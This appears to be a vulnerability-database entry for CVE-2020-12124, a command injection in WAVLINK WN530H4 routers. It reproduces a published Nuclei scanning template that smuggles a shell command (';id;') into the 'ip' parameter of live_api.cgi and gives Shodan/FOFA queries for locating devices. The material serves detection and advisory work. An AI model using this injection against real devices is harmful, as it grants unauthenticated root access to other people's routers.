CVE-2020-12124: WAVLINK WN530H4 live_api.cgi - Command Injection

日期: 2025-08-01 | 影响软件: WAVLINK WN530H4 | POC: 已公开

漏洞描述

A remote command-line injection vulnerability in the /cgi-bin/live_api.cgi endpoint of the WAVLINK WN530H4 M30H4.V5030.190403 allows an attacker to execute arbitrary Linux commands as root without authentication.

PoC代码[已公开]

id: CVE-2020-12124

info:
  name: WAVLINK WN530H4 live_api.cgi - Command Injection
  author: DhiyaneshDK
  severity: critical
  description: |
    A remote command-line injection vulnerability in the /cgi-bin/live_api.cgi endpoint of the WAVLINK WN530H4 M30H4.V5030.190403 allows an attacker to execute arbitrary Linux commands as root without authentication.
  reference:
    - https://github.com/db44k/CVE-2020-12124
    - https://cerne.xyz/bugs/CVE-2020-12124
    - https://www.wavlink.com/en_us/product/WL-WN530H4.html
    - https://github.com/Scorpion-Security-Labs/CVE-2020-12124
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-12124
    cwe-id: CWE-78
    epss-score: 0.91674
    epss-percentile: 0.99668
    cpe: cpe:2.3:o:wavlink:wn530h4_firmware:m30h4.v5030.190403:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wavlink
    product: wn530h4_firmware
    shodan-query: http.html:"wavlink"
    fofa-query: body="wavlink"
  tags: cve,cve2020,rce,wavlink
variables:
  str: "{{rand_base(3)}}"
  num: "{{rand_int(1, 10)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/live_api.cgi?page={{str}}&id={{num}}&ip=;id;"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)"

      - type: word
        part: body
        words:
          - "WiFiBand"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100cce5b9506a00482e5034576ec9c3993e90f9675562c1a387045fdb37efe33033022100f7ebe066bb4e865edafbff3b641635e2b48062be81aa0dfcf99a89e17601f32d:922c64590222798bb761d5b6d8e72950

相关漏洞推荐